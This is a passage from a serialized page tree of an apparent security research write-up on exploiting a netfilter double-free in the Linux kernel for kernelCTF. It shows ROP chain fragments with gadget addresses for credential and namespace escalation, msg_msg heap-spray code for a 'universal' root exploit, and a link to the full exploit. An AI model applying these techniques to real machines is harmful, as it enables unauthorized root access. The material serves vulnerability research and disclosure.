INIT_CRED;\n",{"type":21,"tag":198,"props":57329,"children":57330},{"class":200,"line":281},[57331,57335,57339,57343,57347,57351,57355,57359],{"type":21,"tag":198,"props":57332,"children":57333},{"style":226},[57334],{"type":27,"value":56546},{"type":21,"tag":198,"props":57336,"children":57337},{"style":211},[57338],{"type":27,"value":57061},{"type":21,"tag":198,"props":57340,"children":57341},{"style":683},[57342],{"type":27,"value":51645},{"type":21,"tag":198,"props":57344,"children":57345},{"style":211},[57346],{"type":27,"value":9472},{"type":21,"tag":198,"props":57348,"children":57349},{"style":683},[57350],{"type":27,"value":3174},{"type":21,"tag":198,"props":57352,"children":57353},{"style":211},[57354],{"type":27,"value":56567},{"type":21,"tag":198,"props":57356,"children":57357},{"style":683},[57358],{"type":27,"value":5193},{"type":21,"tag":198,"props":57360,"children":57361},{"style":211},[57362],{"type":27,"value":57363}," COMMIT_CREDS;\n",{"type":21,"tag":198,"props":57365,"children":57366},{"class":200,"line":302},[57367],{"type":21,"tag":198,"props":57368,"children":57369},{"emptyLinePlaceholder":16},[57370],{"type":27,"value":1283},{"type":21,"tag":198,"props":57372,"children":57373},{"class":200,"line":323},[57374],{"type":21,"tag":198,"props":57375,"children":57376},{"style":1233},[57377],{"type":27,"value":57378}," // task = find_task_by_vpid(1);\n",{"type":21,"tag":198,"props":57380,"children":57381},{"class":200,"line":344},[57382,57386,57390,57394,57398,57402,57406,57410,57414,57418],{"type":21,"tag":198,"props":57383,"children":57384},{"style":226},[57385],{"type":27,"value":56546},{"type":21,"tag":198,"props":57387,"children":57388},{"style":211},[57389],{"type":27,"value":57061},{"type":21,"tag":198,"props":57391,"children":57392},{"style":683},[57393],{"type":27,"value":51645},{"type":21,"tag":198,"props":57395,"children":57396},{"style":211},[57397],{"type":27,"value":9472},{"type":21,"tag":198,"props":57399,"children":57400},{"style":683},[57401],{"type":27,"value":3174},{"type":21,"tag":198,"props":57403,"children":57404},{"style":211},[57405],{"type":27,"value":56567},{"type":21,"tag":198,"props":57407,"children":57408},{"style":683},[57409],{"type":27,"value":5193},{"type":21,"tag":198,"props":57411,"children":57412},{"style":2540},[57413],{"type":27,"value":57282},{"type":21,"tag":198,"props":57415,"children":57416},{"style":211},[57417],{"type":27,"value":2182},{"type":21,"tag":198,"props":57419,"children":57420},{"style":1233},[57421],{"type":27,"value":57291},{"type":21,"tag":198,"props":57423,"children":57424},{"class":200,"line":365},[57425,57429,57433,57437,57441,57445,57449],{"type":21,"tag":198,"props":57426,"children":57427},{"style":226},[57428],{"type":27,"value":56546},{"type":21,"tag":198,"props":57430,"children":57431},{"style":211},[57432],{"type":27,"value":57061},{"type":21,"tag":198,"props":57434,"children":57435},{"style":683},[57436],{"type":27,"value":51645},{"type":21,"tag":198,"props":57438,"children":57439},{"style":211},[57440],{"type":27,"value":9472},{"type":21,"tag":198,"props":57442,"children":57443},{"style":683},[57444],{"type":27,"value":3174},{"type":21,"tag":198,"props":57446,"children":57447},{"style":2540},[57448],{"type":27,"value":5335},{"type":21,"tag":198,"props":57450,"children":57451},{"style":211},[57452],{"type":27,"value":1483},{"type":21,"tag":198,"props":57454,"children":57455},{"class":200,"line":386},[57456,57460,57464,57468,57472,57476,57480,57484],{"type":21,"tag":198,"props":57457,"children":57458},{"style":226},[57459],{"type":27,"value":56546},{"type":21,"tag":198,"props":57461,"children":57462},{"style":211},[57463],{"type":27,"value":57061},{"type":21,"tag":198,"props":57465,"children":57466},{"style":683},[57467],{"type":27,"value":51645},{"type":21,"tag":198,"props":57469,"children":57470},{"style":211},[57471],{"type":27,"value":9472},{"type":21,"tag":198,"props":57473,"children":57474},{"style":683},[57475],{"type":27,"value":3174},{"type":21,"tag":198,"props":57477,"children":57478},{"style":211},[57479],{"type":27,"value":56567},{"type":21,"tag":198,"props":57481,"children":57482},{"style":683},[57483],{"type":27,"value":5193},{"type":21,"tag":198,"props":57485,"children":57486},{"style":211},[57487],{"type":27,"value":57488}," FIND_TASK_BY_VPID;\n",{"type":21,"tag":198,"props":57490,"children":57491},{"class":200,"line":408},[57492,57496,57500,57504,57508,57512,57516,57520,57525,57529],{"type":21,"tag":198,"props":57493,"children":57494},{"style":226},[57495],{"type":27,"value":56546},{"type":21,"tag":198,"props":57497,"children":57498},{"style":211},[57499],{"type":27,"value":57061},{"type":21,"tag":198,"props":57501,"children":57502},{"style":683},[57503],{"type":27,"value":51645},{"type":21,"tag":198,"props":57505,"children":57506},{"style":211},[57507],{"type":27,"value":9472},{"type":21,"tag":198,"props":57509,"children":57510},{"style":683},[57511],{"type":27,"value":3174},{"type":21,"tag":198,"props":57513,"children":57514},{"style":211},[57515],{"type":27,"value":56567},{"type":21,"tag":198,"props":57517,"children":57518},{"style":683},[57519],{"type":27,"value":5193},{"type":21,"tag":198,"props":57521,"children":57522},{"style":2540},[57523],{"type":27,"value":57524}," 0xffffffff8102e2a6",{"type":21,"tag":198,"props":57526,"children":57527},{"style":211},[57528],{"type":27,"value":2182},{"type":21,"tag":198,"props":57530,"children":57531},{"style":1233},[57532],{"type":27,"value":57533}," // pop rsi; ret;\n",{"type":21,"tag":198,"props":57535,"children":57536},{"class":200,"line":429},[57537,57541,57545,57549,57553,57557,57562,57566,57571,57575,57580,57584],{"type":21,"tag":198,"props":57538,"children":57539},{"style":226},[57540],{"type":27,"value":56546},{"type":21,"tag":198,"props":57542,"children":57543},{"style":211},[57544],{"type":27,"value":57061},{"type":21,"tag":198,"props":57546,"children":57547},{"style":683},[57548],{"type":27,"value":51645},{"type":21,"tag":198,"props":57550,"children":57551},{"style":211},[57552],{"type":27,"value":9472},{"type":21,"tag":198,"props":57554,"children":57555},{"style":683},[57556],{"type":27,"value":3174},{"type":21,"tag":198,"props":57558,"children":57559},{"style":211},[57560],{"type":27,"value":57561}," obj_ptr ",{"type":21,"tag":198,"props":57563,"children":57564},{"style":683},[57565],{"type":27,"value":5193},{"type":21,"tag":198,"props":57567,"children":57568},{"style":2540},[57569],{"type":27,"value":57570}," 0xe0",{"type":21,"tag":198,"props":57572,"children":57573},{"style":683},[57574],{"type":27,"value":51631},{"type":21,"tag":198,"props":57576,"children":57577},{"style":2540},[57578],{"type":27,"value":57579}," 0x66",{"type":21,"tag":198,"props":57581,"children":57582},{"style":211},[57583],{"type":27,"value":2182},{"type":21,"tag":198,"props":57585,"children":57586},{"style":1233},[57587],{"type":27,"value":57588}," // rax -> rdi and resume rop\n",{"type":21,"tag":198,"props":57590,"children":57591},{"class":200,"line":450},[57592,57596,57600,57604,57608,57612,57616,57620,57625,57629],{"type":21,"tag":198,"props":57593,"children":57594},{"style":226},[57595],{"type":27,"value":56546},{"type":21,"tag":198,"props":57597,"children":57598},{"style":211},[57599],{"type":27,"value":57061},{"type":21,"tag":198,"props":57601,"children":57602},{"style":683},[57603],{"type":27,"value":51645},{"type":21,"tag":198,"props":57605,"children":57606},{"style":211},[57607],{"type":27,"value":9472},{"type":21,"tag":198,"props":57609,"children":57610},{"style":683},[57611],{"type":27,"value":3174},{"type":21,"tag":198,"props":57613,"children":57614},{"style":211},[57615],{"type":27,"value":56567},{"type":21,"tag":198,"props":57617,"children":57618},{"style":683},[57619],{"type":27,"value":5193},{"type":21,"tag":198,"props":57621,"children":57622},{"style":2540},[57623],{"type":27,"value":57624}," 0xffffffff81caed31",{"type":21,"tag":198,"props":57626,"children":57627},{"style":211},[57628],{"type":27,"value":2182},{"type":21,"tag":198,"props":57630,"children":57631},{"style":1233},[57632],{"type":27,"value":57633}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":21,"tag":198,"props":57635,"children":57636},{"class":200,"line":468},[57637],{"type":21,"tag":198,"props":57638,"children":57639},{"emptyLinePlaceholder":16},[57640],{"type":27,"value":1283},{"type":21,"tag":198,"props":57642,"children":57643},{"class":200,"line":477},[57644],{"type":21,"tag":198,"props":57645,"children":57646},{"style":1233},[57647],{"type":27,"value":57648}," // switch_task_namespaces(task, &init_nsproxy);\n",{"type":21,"tag":198,"props":57650,"children":57651},{"class":200,"line":494},[57652,57656,57660,57664,57668,57672,57676,57680,57684,57688],{"type":21,"tag":198,"props":57653,"children":57654},{"style":226},[57655],{"type":27,"value":56546},{"type":21,"tag":198,"props":57657,"children":57658},{"style":211},[57659],{"type":27,"value":57061},{"type":21,"tag":198,"props":57661,"children":57662},{"style":683},[57663],{"type":27,"value":51645},{"type":21,"tag":198,"props":57665,"children":57666},{"style":211},[57667],{"type":27,"value":9472},{"type":21,"tag":198,"props":57669,"children":57670},{"style":683},[57671],{"type":27,"value":3174},{"type":21,"tag":198,"props":57673,"children":57674},{"style":211},[57675],{"type":27,"value":56567},{"type":21,"tag":198,"props":57677,"children":57678},{"style":683},[57679],{"type":27,"value":5193},{"type":21,"tag":198,"props":57681,"children":57682},{"style":2540},[57683],{"type":27,"value":57524},{"type":21,"tag":198,"props":57685,"children":57686},{"style":211},[57687],{"type":27,"value":2182},{"type":21,"tag":198,"props":57689,"children":57690},{"style":1233},[57691],{"type":27,"value":57533},{"type":21,"tag":198,"props":57693,"children":57694},{"class":200,"line":515},[57695,57699,57703,57707,57711,57715,57719,57723],{"type":21,"tag":198,"props":57696,"children":57697},{"style":226},[57698],{"type":27,"value":56546},{"type":21,"tag":198,"props":57700,"children":57701},{"style":211},[57702],{"type":27,"value":57061},{"type":21,"tag":198,"props":57704,"children":57705},{"style":683},[57706],{"type":27,"value":51645},{"type":21,"tag":198,"props":57708,"children":57709},{"style":211},[57710],{"type":27,"value":9472},{"type":21,"tag":198,"props":57712,"children":57713},{"style":683},[57714],{"type":27,"value":3174},{"type":21,"tag":198,"props":57716,"children":57717},{"style":211},[57718],{"type":27,"value":56567},{"type":21,"tag":198,"props":57720,"children":57721},{"style":683},[57722],{"type":27,"value":5193},{"type":21,"tag":198,"props":57724,"children":57725},{"style":211},[57726],{"type":27,"value":57727}," INIT_NSPROXY;\n",{"type":21,"tag":198,"props":57729,"children":57730},{"class":200,"line":4484},[57731,57735,57739,57743,57747,57751,57755,57759],{"type":21,"tag":198,"props":57732,"children":57733},{"style":226},[57734],{"type":27,"value":56546},{"type":21,"tag":198,"props":57736,"children":57737},{"style":211},[57738],{"type":27,"value":57061},{"type":21,"tag":198,"props":57740,"children":57741},{"style":683},[57742],{"type":27,"value":51645},{"type":21,"tag":198,"props":57744,"children":57745},{"style":211},[57746],{"type":27,"value":9472},{"type":21,"tag":198,"props":57748,"children":57749},{"style":683},[57750],{"type":27,"value":3174},{"type":21,"tag":198,"props":57752,"children":57753},{"style":211},[57754],{"type":27,"value":56567},{"type":21,"tag":198,"props":57756,"children":57757},{"style":683},[57758],{"type":27,"value":5193},{"type":21,"tag":198,"props":57760,"children":57761},{"style":211},[57762],{"type":27,"value":57763}," SWITCH_TASK_NAMESPACES;\n",{"type":21,"tag":198,"props":57765,"children":57766},{"class":200,"line":4493},[57767],{"type":21,"tag":198,"props":57768,"children":57769},{"style":211},[57770],{"type":27,"value":11127},{"type":21,"tag":59,"props":57772,"children":57774},{"id":57773},"grabbing-the-kernelctf-flag",[57775],{"type":27,"value":57776},"Grabbing the kernelCTF flag",{"type":21,"tag":30,"props":57778,"children":57779},{},[57780,57784,57786,57793],{"type":21,"tag":1376,"props":57781,"children":57783},{"alt":50954,"src":57782},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":27,"value":57785},"\nYou can find the kernelCTF exploit in our ",{"type":21,"tag":34,"props":57787,"children":57790},{"href":57788,"rel":57789},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[38],[57791],{"type":27,"value":57792},"GitHub",{"type":27,"value":658},{"type":21,"tag":22,"props":57795,"children":57797},{"id":57796},"universal-exploit",[57798],{"type":27,"value":57799},"Universal exploit",{"type":21,"tag":30,"props":57801,"children":57802},{},[57803],{"type":27,"value":57804},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":21,"tag":59,"props":57806,"children":57808},{"id":57807},"pivot-capability-using-msg_msg-mlistnext-pointer",[57809],{"type":27,"value":57810},"Pivot capability using msg_msg->mlist.next pointer",{"type":21,"tag":30,"props":57812,"children":57813},{},[57814,57816,57822,57824,57829,57831,57837],{"type":27,"value":57815},"Using the double-free vulnerability we can overlap a ",{"type":21,"tag":194,"props":57817,"children":57819},{"className":57818},[],[57820],{"type":27,"value":57821},"msg_msg",{"type":27,"value":57823}," object with with ",{"type":21,"tag":194,"props":57825,"children":57827},{"className":57826},[],[57828],{"type":27,"value":55475},{"type":27,"value":57830}," and control the ",{"type":21,"tag":194,"props":57832,"children":57834},{"className":57833},[],[57835],{"type":27,"value":57836},"m_list.next",{"type":27,"value":57838}," pointer.",{"type":21,"tag":187,"props":57840,"children":57842},{"className":29912,"code":57841,"language":29914,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts; /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[57843],{"type":21,"tag":194,"props":57844,"children":57845},{"__ignoreMap":7},[57846,57854,57870,57891,57904,57922,57947,57963,57971,57978,57985,57993,58025],{"type":21,"tag":198,"props":57847,"children":57848},{"class":200,"line":201},[57849],{"type":21,"tag":198,"props":57850,"children":57851},{"style":1233},[57852],{"type":27,"value":57853},"/* one msg_msg structure for each message */\n",{"type":21,"tag":198,"props":57855,"children":57856},{"class":200,"line":217},[57857,57861,57866],{"type":21,"tag":198,"props":57858,"children":57859},{"style":249},[57860],{"type":27,"value":10213},{"type":21,"tag":198,"props":57862,"children":57863},{"style":1966},[57864],{"type":27,"value":57865}," msg_msg",{"type":21,"tag":198,"props":57867,"children":57868},{"style":211},[57869],{"type":27,"value":233},{"type":21,"tag":198,"props":57871,"children":57872},{"class":200,"line":236},[57873,57877,57882,57887],{"type":21,"tag":198,"props":57874,"children":57875},{"style":249},[57876],{"type":27,"value":21944},{"type":21,"tag":198,"props":57878,"children":57879},{"style":1966},[57880],{"type":27,"value":57881}," list_head",{"type":21,"tag":198,"props":57883,"children":57884},{"style":226},[57885],{"type":27,"value":57886}," m_list",{"type":21,"tag":198,"props":57888,"children":57889},{"style":211},[57890],{"type":27,"value":1483},{"type":21,"tag":198,"props":57892,"children":57893},{"class":200,"line":260},[57894,57899],{"type":21,"tag":198,"props":57895,"children":57896},{"style":249},[57897],{"type":27,"value":57898}," long",{"type":21,"tag":198,"props":57900,"children":57901},{"style":211},[57902],{"type":27,"value":57903}," m_type;\n",{"type":21,"tag":198,"props":57905,"children":57906},{"class":200,"line":281},[57907,57912,57917],{"type":21,"tag":198,"props":57908,"children":57909},{"style":249},[57910],{"type":27,"value":57911}," size_t",{"type":21,"tag":198,"props":57913,"children":57914},{"style":211},[57915],{"type":27,"value":57916}," m_ts;",{"type":21,"tag":198,"props":57918,"children":57919},{"style":1233},[57920],{"type":27,"value":57921}," /* message text size */\n",{"type":21,"tag":198,"props":57923,"children":57924},{"class":200,"line":302},[57925,57929,57934,57938,57943],{"type":21,"tag":198,"props":57926,"children":57927},{"style":249},[57928],{"type":27,"value":21944},{"type":21,"tag":198,"props":57930,"children":57931},{"style":1966},[57932],{"type":27,"value":57933}," msg_msgseg",{"type":21,"tag":198,"props":57935,"children":57936},{"style":249},[57937],{"type":27,"value":10626},{"type":21,"tag":198,"props":57939,"children":57940},{"style":226},[57941],{"type":27,"value":57942},"next",{"type":21,"tag":198,"props":57944,"children":57945},{"style":211},[57946],{"type":27,"value":1483},{"type":21,"tag":198,"props":57948,"children":57949},{"class":200,"line":323},[57950,57954,57958],{"type":21,"tag":198,"props":57951,"children":57952},{"style":249},[57953],{"type":27,"value":51425},{"type":21,"tag":198,"props":57955,"children":57956},{"style":683},[57957],{"type":27,"value":10626},{"type":21,"tag":198,"props":57959,"children":57960},{"style":211},[57961],{"type":27,"value":57962},"security;\n",{"type":21,"tag":198,"props":57964,"children":57965},{"class":200,"line":344},[57966],{"type":21,"tag":198,"props":57967,"children":57968},{"style":1233},[57969],{"type":27,"value":57970}," /* the actual message follows immediately */\n",{"type":21,"tag":198,"props":57972,"children":57973},{"class":200,"line":365},[57974],{"type":21,"tag":198,"props":57975,"children":57976},{"style":211},[57977],{"type":27,"value":2357},{"type":21,"tag":198,"props":57979,"children":57980},{"class":200,"line":386},[57981],{"type":21,"tag":198,"props":57982,"children":57983},{"style":211},[57984],{"type":27,"value":11127},{"type":21,"tag":198,"props":57986,"children":57987},{"class":200,"line":408},[57988],{"type":21,"tag":198,"props":57989,"children":57990},{"style":211},[57991],{"type":27,"value":57992},"struct list_head {\n",{"type":21,"tag":198,"props":57994,"children":57995},{"class":200,"line":429},[57996,58000,58004,58008,58012,58016,58020],{"type":21,"tag":198,"props":57997,"children":57998},{"style":249},[57999],{"type":27,"value":21944},{"type":21,"tag":198,"props":58001,"children":58002},{"style":1966},[58003],{"type":27,"value":57881},{"type":21,"tag":198,"props":58005,"children":58006},{"style":249},[58007],{"type":27,"value":10626},{"type":21,"tag":198,"props":58009,"children":58010},{"style":226},[58011],{"type":27,"value":57942},{"type":21,"tag":198,"props":58013,"children":58014},{"style":211},[58015],{"type":27,"value":828},{"type":21,"tag":198,"props":58017,"children":58018},{"style":683},[58019],{"type":27,"value":5383},{"type":21,"tag":198,"props":58021,"children":58022},{"style":211},[58023],{"type":27,"value":58024},"prev;\n",{"type":21,"tag":198,"props":58026,"children":58027},{"class":200,"line":450},[58028],{"type":21,"tag":198,"props":58029,"children":58030},{"style":211},[58031],{"type":27,"value":2357},{"type":21,"tag":30,"props":58033,"children":58034},{},[58035,58037,58043,58045,58050],{"type":27,"value":58036},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":21,"tag":194,"props":58038,"children":58040},{"className":58039},[],[58041],{"type":27,"value":58042},"mlist.next",{"type":27,"value":58044}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":21,"tag":194,"props":58046,"children":58048},{"className":58047},[],[58049],{"type":27,"value":57821},{"type":27,"value":58051}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":21,"tag":30,"props":58053,"children":58054},{},[58055,58057,58062,58064],{"type":27,"value":58056},"By incrementing the next pointer of our controllable ",{"type":21,"tag":194,"props":58058,"children":58060},{"className":58059},[],[58061],{"type":27,"value":57821},{"type":27,"value":58063}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":21,"tag":1376,"props":58065,"children":58067},{"alt":50954,"src":58066},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":21,"tag":187,"props":58069,"children":58071},{"className":29912,"code":58070,"language":29914,"meta":7,"style":7},"[...]\n // Spray msg_msg in kmalloc-256 and kmalloc-1k\n msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n int qid[SPRAY];\n for (int i = 0; i \u003C SPRAY; i++)\n {\n qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (qid[i] \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n *(uint32_t *)msg->mtext = i;\n *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n msg->mtype = MTYPE_PRIMARY;\n msgsnd(qid[i], msg, 0xe8 - 48, 0);\n msg->mtype = MTYPE_SECONDARY;\n msgsnd(qid[i], msg, 1024 - 48, 0);\n }\n // Prepare evil msg\n int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (evilqid \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n[...] // trigger double-free in kmalloc-256\n",[58072],{"type":21,"tag":194,"props":58073,"children":58074},{"__ignoreMap":7},[58075,58082,58090,58116,58133,58181,58188,58228,58260,58267,58288,58295,58342,58406,58432,58478,58502,58546,58553,58561,58597,58621,58628,58648,58655],{"type":21,"tag":198,"props":58076,"children":58077},{"class":200,"line":201},[58078],{"type":21,"tag":198,"props":58079,"children":58080},{"style":211},[58081],{"type":27,"value":11127},{"type":21,"tag":198,"props":58083,"children":58084},{"class":200,"line":217},[58085],{"type":21,"tag":198,"props":58086,"children":58087},{"style":211},[58088],{"type":27,"value":58089}," // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":21,"tag":198,"props":58091,"children":58092},{"class":200,"line":236},[58093,58098,58102,58106,58111],{"type":21,"tag":198,"props":58094,"children":58095},{"style":211},[58096],{"type":27,"value":58097}," msg_t *msg = calloc(1, ",{"type":21,"tag":198,"props":58099,"children":58100},{"style":1966},[58101],{"type":27,"value":55704},{"type":21,"tag":198,"props":58103,"children":58104},{"style":211},[58105],{"type":27,"value":706},{"type":21,"tag":198,"props":58107,"children":58108},{"style":1966},[58109],{"type":27,"value":58110},"msg_t",{"type":21,"tag":198,"props":58112,"children":58113},{"style":211},[58114],{"type":27,"value":58115},") + 0xe8 - 48);\n",{"type":21,"tag":198,"props":58117,"children":58118},{"class":200,"line":260},[58119,58123,58128],{"type":21,"tag":198,"props":58120,"children":58121},{"style":249},[58122],{"type":27,"value":19871},{"type":21,"tag":198,"props":58124,"children":58125},{"style":226},[58126],{"type":27,"value":58127}," qid",{"type":21,"tag":198,"props":58129,"children":58130},{"style":211},[58131],{"type":27,"value":58132},"[SPRAY];\n",{"type":21,"tag":198,"props":58134,"children":58135},{"class":200,"line":281},[58136,58140,58144,58148,58152,58156,58160,58164,58168,58173,58177],{"type":21,"tag":198,"props":58137,"children":58138},{"style":640},[58139],{"type":27,"value":3840},{"type":21,"tag":198,"props":58141,"children":58142},{"style":211},[58143],{"type":27,"value":648},{"type":21,"tag":198,"props":58145,"children":58146},{"style":249},[58147],{"type":27,"value":19841},{"type":21,"tag":198,"props":58149,"children":58150},{"style":211},[58151],{"type":27,"value":54920},{"type":21,"tag":198,"props":58153,"children":58154},{"style":683},[58155],{"type":27,"value":3174},{"type":21,"tag":198,"props":58157,"children":58158},{"style":2540},[58159],{"type":27,"value":3855},{"type":21,"tag":198,"props":58161,"children":58162},{"style":211},[58163],{"type":27,"value":51609},{"type":21,"tag":198,"props":58165,"children":58166},{"style":683},[58167],{"type":27,"value":3159},{"type":21,"tag":198,"props":58169,"children":58170},{"style":211},[58171],{"type":27,"value":58172}," SPRAY; i",{"type":21,"tag":198,"props":58174,"children":58175},{"style":683},[58176],{"type":27,"value":51645},{"type":21,"tag":198,"props":58178,"children":58179},{"style":211},[58180],{"type":27,"value":789},{"type":21,"tag":198,"props":58182,"children":58183},{"class":200,"line":302},[58184],{"type":21,"tag":198,"props":58185,"children":58186},{"style":211},[58187],{"type":27,"value":29989},{"type":21,"tag":198,"props":58189,"children":58190},{"class":200,"line":323},[58191,58196,58200,58204,58209,58214,58219,58223],{"type":21,"tag":198,"props":58192,"children":58193},{"style":226},[58194],{"type":27,"value":58195}," qid",{"type":21,"tag":198,"props":58197,"children":58198},{"style":211},[58199],{"type":27,"value":54972},{"type":21,"tag":198,"props":58201,"children":58202},{"style":683},[58203],{"type":27,"value":3174},{"type":21,"tag":198,"props":58205,"children":58206},{"style":698},[58207],{"type":27,"value":58208}," msgget",{"type":21,"tag":198,"props":58210,"children":58211},{"style":211},[58212],{"type":27,"value":58213},"(IPC_PRIVATE, ",{"type":21,"tag":198,"props":58215,"children":58216},{"style":2540},[58217],{"type":27,"value":58218},"0666",{"type":21,"tag":198,"props":58220,"children":58221},{"style":683},[58222],{"type":27,"value":5081},{"type":21,"tag":198,"props":58224,"children":58225},{"style":211},[58226],{"type":27,"value":58227}," IPC_CREAT);\n",{"type":21,"tag":198,"props":58229,"children":58230},{"class":200,"line":344},[58231,58235,58239,58244,58248,58252,58256],{"type":21,"tag":198,"props":58232,"children":58233},{"style":640},[58234],{"type":27,"value":4079},{"type":21,"tag":198,"props":58236,"children":58237},{"style":211},[58238],{"type":27,"value":648},{"type":21,"tag":198,"props":58240,"children":58241},{"style":226},[58242],{"type":27,"value":58243},"qid",{"type":21,"tag":198,"props":58245,"children":58246},{"style":211},[58247],{"type":27,"value":54972},{"type":21,"tag":198,"props":58249,"children":58250},{"style":683},[58251],{"type":27,"value":3159},{"type":21,"tag":198,"props":58253,"children":58254},{"style":2540},[58255],{"type":27,"value":3855},{"type":21,"tag":198,"props":58257,"children":58258},{"style":211},[58259],{"type":27,"value":789},{"type":21,"tag":198,"props":58261,"children":58262},{"class":200,"line":365},[58263],{"type":21,"tag":198,"props":58264,"children":58265},{"style":211},[58266],{"type":27,"value":32446},{"type":21,"tag":198,"props":58268,"children":58269},{"class":200,"line":386},[58270,58275,58279,58284],{"type":21,"tag":198,"props":58271,"children":58272},{"style":698},[58273],{"type":27,"value":58274}," perror",{"type":21,"tag":198,"props":58276,"children":58277},{"style":211},[58278],{"type":27,"value":706},{"type":21,"tag":198,"props":58280,"children":58281},{"style":205},[58282],{"type":27,"value":58283},"\"[-] msgget\"",{"type":21,"tag":198,"props":58285,"children":58286},{"style":211},[58287],{"type":27,"value":1470},{"type":21,"tag":198,"props":58289,"children":58290},{"class":200,"line":408},[58291],{"type":21,"tag":198,"props":58292,"children":58293},{"style":211},[58294],{"type":27,"value":1160},{"type":21,"tag":198,"props":58296,"children":58297},{"class":200,"line":429},[58298,58302,58306,58311,58315,58319,58324,58328,58333,58337],{"type":21,"tag":198,"props":58299,"children":58300},{"style":683},[58301],{"type":27,"value":8563},{"type":21,"tag":198,"props":58303,"children":58304},{"style":211},[58305],{"type":27,"value":706},{"type":21,"tag":198,"props":58307,"children":58308},{"style":249},[58309],{"type":27,"value":58310},"uint32_t",{"type":21,"tag":198,"props":58312,"children":58313},{"style":683},[58314],{"type":27,"value":10626},{"type":21,"tag":198,"props":58316,"children":58317},{"style":211},[58318],{"type":27,"value":2109},{"type":21,"tag":198,"props":58320,"children":58321},{"style":226},[58322],{"type":27,"value":58323},"msg",{"type":21,"tag":198,"props":58325,"children":58326},{"style":211},[58327],{"type":27,"value":14564},{"type":21,"tag":198,"props":58329,"children":58330},{"style":226},[58331],{"type":27,"value":58332},"mtext",{"type":21,"tag":198,"props":58334,"children":58335},{"style":683},[58336],{"type":27,"value":979},{"type":21,"tag":198,"props":58338,"children":58339},{"style":211},[58340],{"type":27,"value":58341}," i;\n",{"type":21,"tag":198,"props":58343,"children":58344},{"class":200,"line":450},[58345,58349,58353,58357,58361,58365,58369,58373,58377,58381,58385,58389,58393,58397,58402],{"type":21,"tag":198,"props":58346,"children":58347},{"style":683},[58348],{"type":27,"value":8563},{"type":21,"tag":198,"props":58350,"children":58351},{"style":211},[58352],{"type":27,"value":706},{"type":21,"tag":198,"props":58354,"children":58355},{"style":249},[58356],{"type":27,"value":56011},{"type":21,"tag":198,"props":58358,"children":58359},{"style":683},[58360],{"type":27,"value":10626},{"type":21,"tag":198,"props":58362,"children":58363},{"style":211},[58364],{"type":27,"value":2109},{"type":21,"tag":198,"props":58366,"children":58367},{"style":683},[58368],{"type":27,"value":3917},{"type":21,"tag":198,"props":58370,"children":58371},{"style":226},[58372],{"type":27,"value":58323},{"type":21,"tag":198,"props":58374,"children":58375},{"style":211},[58376],{"type":27,"value":14564},{"type":21,"tag":198,"props":58378,"children":58379},{"style":226},[58380],{"type":27,"value":58332},{"type":21,"tag":198,"props":58382,"children":58383},{"style":211},[58384],{"type":27,"value":2051},{"type":21,"tag":198,"props":58386,"children":58387},{"style":2540},[58388],{"type":27,"value":4887},{"type":21,"tag":198,"props":58390,"children":58391},{"style":211},[58392],{"type":27,"value":9472},{"type":21,"tag":198,"props":58394,"children":58395},{"style":683},[58396],{"type":27,"value":3174},{"type":21,"tag":198,"props":58398,"children":58399},{"style":2540},[58400],{"type":27,"value":58401}," 0xdeadbeefcafebabe",{"type":21,"tag":198,"props":58403,"children":58404},{"style":211},[58405],{"type":27,"value":1483},{"type":21,"tag":198,"props":58407,"children":58408},{"class":200,"line":468},[58409,58414,58418,58423,58427],{"type":21,"tag":198,"props":58410,"children":58411},{"style":226},[58412],{"type":27,"value":58413}," msg",{"type":21,"tag":198,"props":58415,"children":58416},{"style":211},[58417],{"type":27,"value":14564},{"type":21,"tag":198,"props":58419,"children":58420},{"style":226},[58421],{"type":27,"value":58422},"mtype",{"type":21,"tag":198,"props":58424,"children":58425},{"style":683},[58426],{"type":27,"value":979},{"type":21,"tag":198,"props":58428,"children":58429},{"style":211},[58430],{"type":27,"value":58431}," MTYPE_PRIMARY;\n",{"type":21,"tag":198,"props":58433,"children":58434},{"class":200,"line":477},[58435,58440,58444,58448,58453,58457,58461,58466,58470,58474],{"type":21,"tag":198,"props":58436,"children":58437},{"style":698},[58438],{"type":27,"value":58439}," msgsnd",{"type":21,"tag":198,"props":58441,"children":58442},{"style":211},[58443],{"type":27,"value":706},{"type":21,"tag":198,"props":58445,"children":58446},{"style":226},[58447],{"type":27,"value":58243},{"type":21,"tag":198,"props":58449,"children":58450},{"style":211},[58451],{"type":27,"value":58452},"[i], msg, ",{"type":21,"tag":198,"props":58454,"children":58455},{"style":2540},[58456],{"type":27,"value":56348},{"type":21,"tag":198,"props":58458,"children":58459},{"style":683},[58460],{"type":27,"value":51631},{"type":21,"tag":198,"props":58462,"children":58463},{"style":2540},[58464],{"type":27,"value":58465}," 